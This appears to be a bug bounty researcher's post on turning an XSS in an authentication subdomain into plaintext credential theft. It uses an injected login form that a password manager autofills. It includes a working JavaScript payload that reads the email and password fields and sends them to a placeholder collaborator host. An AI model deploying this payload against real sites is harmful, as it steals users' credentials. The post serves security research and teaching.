Someone just sent me an XSS to collaborate on. It was an interesting case so I thought I'd tweet about it. They'd found an xss in auth.example.com, which was a subdomain that is only used to authenticate users. They were having trouble escalating the XSS because this subdomain has no access to the main application at app.example.com, or the API it interacts with, which is at api.example.com. I immediately thought of something that I'd heard recently (maybe on @ctbbpodcast?) where you can use an XSS to steal auto-filled plaintext credentials, so I thought I'd try to replicate this. First, injected a fake login form, like this:

This is good enough to have a password manager automatically fill the credentials if it is injected into any page on the correct domain. Now we just needed to send the credentials to the attacker server, I wrote some basic JS to do this: setTimeout(function(){ httpRequest = new XMLHttpRequest(); httpRequest.open('GET', 'https://BURP_COLLABORATOR?'+document.getElementById("email").value+"="+document.getElementById("password").value); httpRequest.send();},2000) The timeout is required because it takes a while for the password manager to autofill the passwords. Then I used the XSS to inject the form, and the JavaScript, and voila! Plaintext credentials. This isn't a new technique, I can see there are a bunch of other articles about it - but it's the first time I've exploited an XSS to steal creds from a password manager like this, so I figured some others would find it interesting.